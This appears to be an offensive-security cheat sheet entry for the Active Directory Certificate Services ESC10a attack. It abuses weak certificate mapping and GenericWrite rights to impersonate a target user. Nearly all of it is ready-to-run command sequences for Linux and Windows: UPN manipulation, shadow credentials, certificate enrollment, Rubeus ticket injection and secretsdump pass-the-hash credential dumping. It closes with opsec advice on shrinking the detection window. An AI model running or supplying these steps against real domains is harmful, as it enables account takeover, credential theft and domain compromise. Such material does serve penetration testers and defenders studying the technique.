ADCSESC10a
ESC10a: Weak certificate mapping (StrongCertificateBindingEnforcement = 0 or 1) + GenericWrite on a user account β change victim's UPN to match a target user, enroll a cert, reset UPN, authenticate as target (no SID required in cert because mapping is weak).
Applies to: Principals with GenericWrite on a user account β any Client Auth template β DC with StrongCertificateBindingEnforcement disabled/compatibility mode (registry value 0 or 1)
Linux Abuse
certipy-ad
# Step 1: Verify weak cert mapping on DC
# (StrongCertificateBindingEnforcement = 0 or 1 in HKLM\SYSTEM\CurrentControlSet\Services\Kdc)
# Check via certipy find or BloodHound ADCSESC10a edge
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Change victim's UPN to target user's UPN
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user <victim-user> -upn <target-user>@<domain>
# Step 3: Check/set mail attribute if template requires it
ldapsearch -x -D '<attacker-dn>' -w '<password>' -h <dc-ip> -b '<victim-dn>' mail
echo -e "dn: <victim-dn>\nchangetype: modify\nreplace: mail\nmail: test@mail.com" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Step 4: Get victim credentials (shadow creds / password reset)
certipy-ad shadow auto -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-account <victim-user>
# Note victim hash
# Step 5: Enroll cert as victim (UPN = target)
certipy-ad req -u <victim-user>@<domain> -hashes ':<victim-ntlm>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>'
# Output: <target-user>.pfx
# Step 6: Restore victim's UPN immediately
certipy-ad account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user <victim-user> -upn <victim-user>@<domain>
# Step 7: Authenticate as target user
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip> -ldap-shell
# Or standard auth:
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Step 8: PTH
secretsdump.py -hashes ':<ntlm-hash>' '<domain>/<target-user>@<dc-ip>'
Windows Abuse
Certify.exe (Windows executable) + PowerView
# Step 1: Record victim's current UPN
Get-DomainObject -Identity <victim-user> -Properties userprincipalname
# Step 2: Modify victim UPN to target
Set-DomainObject -Identity <victim-user> -Set @{'userprincipalname'='<target-user>@<domain>'}
# Step 3: Set mail if required
Set-DomainObject -Identity <victim-user> -Set @{'mail'='dummy@mail.com'}
# Step 4: Enroll cert (Certipy Windows exe or Certify)
Certipy.exe req -u <victim-user>@<domain> -p '<victim-password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>'
# Or:
# Certify.exe request /ca:<ca-host>\<ca> /template:<template>
# Step 5: Reset UPN
Certipy.exe account update -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-user <victim-user> -upn <victim-user>@<domain>
# Step 6: Authenticate
Certipy.exe auth -pfx <target-user>.pfx -dc-ip <dc-ip> -ldap-shell
# Alternative: Rubeus TGT
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /ptt
klist
Opsec
- UPN changes logged as Event ID 4738 (user account changed).
- Restore UPN immediately β the window between UPN change and cert enrollment is the detection opportunity.
- Works only while
StrongCertificateBindingEnforcementis 0 (disabled) or 1 (compatibility); patched DCs in enforcement mode (2) will reject the cert. - CA retains issued cert with victim account as requester and target UPN as subject.